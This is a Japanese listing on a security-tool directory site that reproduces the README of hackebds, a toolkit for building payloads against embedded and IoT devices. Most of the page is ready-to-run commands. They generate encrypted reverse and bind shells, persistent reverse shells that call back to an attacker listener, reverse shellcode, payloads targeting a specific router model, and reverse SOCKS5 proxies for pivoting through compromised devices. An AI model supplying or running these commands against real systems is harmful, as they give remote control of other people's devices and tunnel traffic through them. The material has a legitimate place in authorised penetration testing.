Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hackEmbedded — このツールは、バックドアの暗号化、シェルコード・SOCKS5プロキシの生成、情報検索、およびさまざまなアーキテクチャデバイス向けのPOC整理に使用されます。 | Kitploit
ツール/GitHubGitHub/doudoudedi/hackembedded
組み込みシステムセキュリティ暗号化/復号化ツールIoTセキュリティペイロード生成エクスプロイトリバースエンジニアリングシェルコードペネトレーションテストコマンド&コントロールリモートアクセスツールファームウェア解析
2073226日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
doudoudedi/hackembedded

hackEmbedded

このツールは、バックドアの暗号化、シェルコード・SOCKS5プロキシの生成、情報検索、およびさまざまなアーキテクチャデバイス向けのPOC整理に使用されます。

リポジトリを見る

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗中文 readme

概要

hackebds は、組み込みデバイス向けペイロード生成、暗号化シェルワークフロー、SOCKS5プロキシトンネリング、デバイス情報検索のためのツールキットです。

現在のブランチは、暗号化シェルとプロキシ機能に 純粋な ELF ワークフロー を採用しています。

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

新しいバージョンでの変更点

  • 現在のツリーでサポートされているアーキテクチャ向けに、暗号化リバースシェルと暗号化バインドシェルを追加
  • ELF リスナー encrypted_shell_server / reverse_shell_server を追加し、Python ランタイムハンドラなしで暗号化リバースシェルを受信可能に
  • bind_shell 用の ELF コネクタ bind_shell_client を追加
  • リバース SOCKS5 プロキシおよびフォワード SOCKS5 プロキシの ELF ワークフローを追加
  • 暗号化シェル/プロキシトラフィック用の暗号選択肢 aes と chacha20 を追加
  • bind_shell、encrypted_shell_server、reverse_proxy_server、forward_proxy_file などのリスナー側 ELF バイナリに -bind_ip を追加
  • reverse_shell_file と reverse_proxy_file は発信ペイロードのまま: を使用し、ローカルリスナー IP をバインドしない

インストール

root@kitploit:~
python3 -m pip install -U hackebds

ローカル開発用インストール:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

別のマシンでビルドする場合

リリースホイールを別のホストで再ビルドする場合は、ソース zip と build_release.py を使用します。

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

必要な Binutils

ネイティブでない ELF ファイルを生成する前に、ターゲットアーキテクチャの binutils をインストールします。

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

macOS ユーザーは pwntools binutils を使用できます:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

使用例

1. 暗号化リバースシェル

攻撃者側:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

ターゲット側:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

注意:

  • reverse_shell_file は -bind_ip をサポートしません
  • encrypted_shell_server は -bind_ip をサポートします
  • -cipher chacha20 を -cipher aes に変更すると AES が使用されます

2. 暗号化バインドシェル

ターゲット側:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

攻撃者側:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

その後、次のように入力します:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. 永続的リバースシェル

リスナー:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

ペイロード:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. 暗号化リバース SOCKS5 プロキシ

サーバー:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

エージェント:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

テスト:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

認証有効サーバー:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

UDP に関する注意:

  • リバース SOCKS5 プロキシは、実装済みの非 SPARC プロキシパスで UDP をサポートしています
  • sparc / sparc64 は UDP サポート対象外と見なす必要があります

5. フォワード SOCKS5 プロキシ

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

テスト:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. リバースシェルコード

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. -model の使用

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. --mcpu の使用

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. --firmware の使用

root@kitploit:~
hackebds --firmware ./firmware.bin

注意事項

  • -bind_ip はリスナー側 ELF ファイルのみで使用します
  • reverse_shell_file と reverse_proxy_file は発信ペイロードであり、ローカルリスナー IP をバインドしません
  • reverse_proxy_server と forward_proxy_file は -bind_ip をサポートします
  • 暗号化シェル/プロキシの例は chacha20 と aes の両方で動作しますが、両側で一致させる必要があります
ツールをダウンロード
-reverse_ip